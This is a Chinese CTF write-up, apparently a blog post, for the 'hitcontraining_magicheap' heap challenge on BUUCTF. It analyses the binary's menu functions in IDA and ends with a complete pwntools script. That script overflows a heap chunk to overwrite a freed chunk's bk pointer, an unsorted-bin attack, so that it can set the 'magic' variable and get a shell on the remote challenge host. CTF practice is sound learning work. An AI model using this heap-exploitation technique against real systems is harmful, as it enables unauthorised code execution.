0
点赞
收藏
分享

微信扫一扫

hitcontraining_magicheap

fbd4ffd0717b 2022-04-29 阅读 65
网络安全

首先检查题目文件

 

64位文件,开了NX和stack

把文件丢进IDA察看

看到free函数和malloc函数,顿时感觉凉凉,因为已经做了好多天的堆题目了,一题也没做出来

还是硬着头皮看看

用shift+f12检索发现shell

 

分析main函数,发现当v5=4869并且magic>0x1305将获得shell

 

 

再看一下菜单里1,2,3功能的程序

create

其中atoi函数作用是把参数 str 所指向的字符串转换为一个整数(类型为 int 型)

malloc函数作业是 分配所需的内存空间(chunk),并返回一个指向它的指针

这样看heaparray数组里存放了9个由我们控制大小的内存的指针

readinput作用是能够根据输入字符串的长度调节要使用的内存长度

那么23行语句就是把我们输入的内容转换成int型数据写入分配的chunk中

edit

7行到15行就是让选择之前的9个堆中的一个

16行提示堆的大小

17行以输入的内容为v1+4重新赋值

18行以重新赋值后的v1+4的内容写入v2

20行以v2的int型数值的长度重新为我们选择的堆的内存分配大小

delete

没什么说的,free清掉内存并将地址置零

exp如下

from pwn import *
p=remote('node4.buuoj.cn',26542)
magic = 0x6020A0
def ch(size,content):
	p.sendlineafter(':','1')
	p.sendlineafter(':',str(size))
	p.sendlineafter(':',content)
 
def eh(idx,size,content):
	p.sendlineafter(':','2')
	p.sendlineafter(':',str(idx))
	p.sendlineafter(':',str(size))
	p.sendlineafter(':',content)
 
def dh(idx):
	p.sendlineafter(':','3')
	p.sendlineafter(':',str(idx))

ch(0x30,'aaaa')
ch(0x80,'bbbb')
ch(0x10,'cccc')

dh(1)

eh(0,0x50,0x30 * b"a" + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
ch(0x80,'dddd')

p.sendlineafter(':','4869')
p.interactive()

 

 

举报

相关推荐

hitcontraining_magicheap buuctf

0 条评论